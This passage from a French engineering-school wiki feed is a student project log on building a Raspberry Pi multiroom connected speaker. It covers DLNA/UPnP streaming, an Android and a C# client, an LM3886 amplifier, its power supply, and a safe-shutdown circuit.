A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Partie Hardware====&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par le pont de Graetz, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, la Raspberry ne sera plus connectée à la masse, ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : &amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Tutoriel type instructables=====&lt;br /&gt;
Le tutoriel type instructables et tous les fichiers associés sont disponibles à [https://www.dropbox.com/sh/q82g95fuuidv219/AABkCG3IuBOGsHTRiJu5u4k_a?dl=0 cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Partie Software====&lt;br /&gt;
&lt;br /&gt;
=====UPnP/DLNA sous Android=====&lt;br /&gt;
&lt;br /&gt;
L'objectif principal est d'arriver à streamer une musique depuis notre propre application Android. Pour cela je projetais d'utiliser la librairie Java Cling développée par un particulier, cependant :&lt;br /&gt;
&lt;br /&gt;
* Très peu de documentation&lt;br /&gt;
* Utilise le gestionnaire de projet Maven sous Eclipse (par opposition à Gradle sous Android Studio)&lt;br /&gt;
* Nécessite Jetty qui n'est pas disponible pour Android (seul un portage nommé i-Jetty existe)&lt;br /&gt;
* Google ne supporte plus le développement d'applications Android sous Eclipse&lt;br /&gt;
&lt;br /&gt;
Cette librairie étant très difficile à mettre en place, j'ai cherché d'autres solutions pouvant exister sous Android (CyberLink4Android...) sans plus de succès. J'ai alors fait appel à benjamin Barbry l'intervenant extérieur en Android qui n'a pas non plus réussi à implémenter Cling sous Android Studio. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après discussion de la situation avec mes tuteurs il a été décidé qu'il était préférable que je me tourne plutôt vers le développement d'une application pour PC.&lt;br /&gt;
&lt;br /&gt;
=====UPnP/DLNA sur PC=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai fait une recherche des solutions open source existantes :&lt;br /&gt;
&lt;br /&gt;
* [http://serviio.org/ Serviio] un serveur DLNA multiplate-formes&lt;br /&gt;
* [http://www.streamwhatyouhear.com/ Stream What You Hear] un logiciel permettant de diffuser tous les sons du PC vers un lecteur DLNA&lt;br /&gt;
* [https://kodi.tv/ Kodi] un serveur DLNA multiplate-formes&lt;br /&gt;
&lt;br /&gt;
Cependant il a été jugé intéressant de développer entièrement ma propre application car cela me permet d'avoir un contrôle total sur le code et d'implémenter seulement les fonctions jugées utiles. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J’ai décidé de coder l’application en C# car c’est un langage que je connais bien et qui utilise le framework .NET de Microsoft. Le choix s’est porté sur ce langage principalement car c’est le langage permettant la création d’une interface graphique que je maîtrise le mieux. Par la suite il sera possible d’obtenir une certaine portabilité de l’application sur d’autres systèmes d’exploitation grâce au projet Mono qui est une implémentation open source du framework .NET pour Linux, Mac OS mais aussi Windows.&lt;br /&gt;
&lt;br /&gt;
=====Fonctionnement des protocoles=====&lt;br /&gt;
&lt;br /&gt;
Le problème rencontré lors de l'implémentation des protocoles a principalement été que les documentations étaient soit exhaustives (plus de 1700 pages) soit inexistantes. A l'aide de code trouvé sur internet et de Wireshark j'ai alors réussi à comprendre le fonctionnement de ces protocoles :&lt;br /&gt;
&lt;br /&gt;
* L'UPnP sert à la découverte des appareils (multicast UDP sur le port 1900) ainsi qu'à leur contrôle (SOAP via http)&lt;br /&gt;
* Le DLNA (pour la récupération de musique en tout cas) consiste en un GET sur un port choisi&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DLNA.png]]&lt;br /&gt;
&lt;br /&gt;
=====Codage de l'application=====&lt;br /&gt;
&lt;br /&gt;
Pour gagner du temps j’ai décidé d’employer un serveur web portable prêt à l’emploi plutôt que de le coder moi-même. J’ai trouvé deux solutions envisageables :&lt;br /&gt;
&lt;br /&gt;
* [https://www.ritlabs.com/en/products/tinyweb/ TinyWeb] un serveur open source de 53Ko gérant le http et https&lt;br /&gt;
* [https://www.cesanta.com/products/mongoose/ Mongoose] un serveur cross plateforme open source de 168Ko codé en C/C++ gérant le http et https&lt;br /&gt;
&lt;br /&gt;
J’ai fini par choisir TinyWeb car il permettait de choisir en ligne de commande le port sur lequel le serveur doit être démarré et il est plus transparent pour l’utilisateur car il n’affiche pas d’icône à son lancement. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai ensuite commencé à coder l'interface. L'objectif était d'avoir une interface simple, claire mais offrant à l'utilisateur toutes les fonctionnalités nécessaires.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:interfaceDLNA.jpg]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lors de la découverte des appareils sur le réseau, mon programme attend une réponse et par conséquent bloque le thread principal responsable de la gestion de l'interface graphique. Pour palier à ce problème là, je lance tout les processus responsables de la gestion du réseau dans un thread séparé. Cela permet de garde une interface graphique fluide, mais aussi de pouvoir détecter les appareils sur le réseau le plus rapidement possible en fond. Ainsi, il est possible de rafraîchir facilement la liste des appareils sur le réseau directement dans la fenêtre de sélection des clients DLNA :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:appareilsDLNA.jpg]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mon application permet ainsi de streamer vers un ou plusieurs lecteurs DLNA à la fois.&lt;br /&gt;
&lt;br /&gt;
=====Objectif futur=====&lt;br /&gt;
&lt;br /&gt;
L'objectif suivant est d'arriver à streamer un flux vers une paire d'enceintes connectées en créant un effet stéréo. Cependant des problèmes peuvent se présenter pour implémenter cette fonctionnalité :&lt;br /&gt;
&lt;br /&gt;
* La mémoire tampon est réglée sur le lecteur DLNA, elle peut donc changer si ils ne sont pas identiques&lt;br /&gt;
* La mémoire tampon dépendant du débit et de la qualité de connexion, si l'utilisateur passe par le wifi et que les enceintes sont relativement éloignées ou qu'elle disposent de cartes wifi diférentes, la mémoire tampon mettra plus ou moins de temps à se remplir&lt;br /&gt;
&lt;br /&gt;
Comme cette mémoire doit être pleine avant que la musique se lance, la différence de débit peut très facilement provoquer un décalage très désagréable à l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====Sources et documents=====&lt;br /&gt;
&lt;br /&gt;
Ce projet étant open source et destiné à tout public j'ai hébergé les sources de mon programme sur [https://github.com/Fraise/OmegaUPnP Github] et j'ai rédigé un tutoriel destiné à toute personne voulant mettre en place un client DLNA chez lui et streamer des médias ([[Fichier:Tuto_Enceinte_Connectee.pdf]]).&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27668</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=27668"/>
				<updated>2016-02-23T11:52:57Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
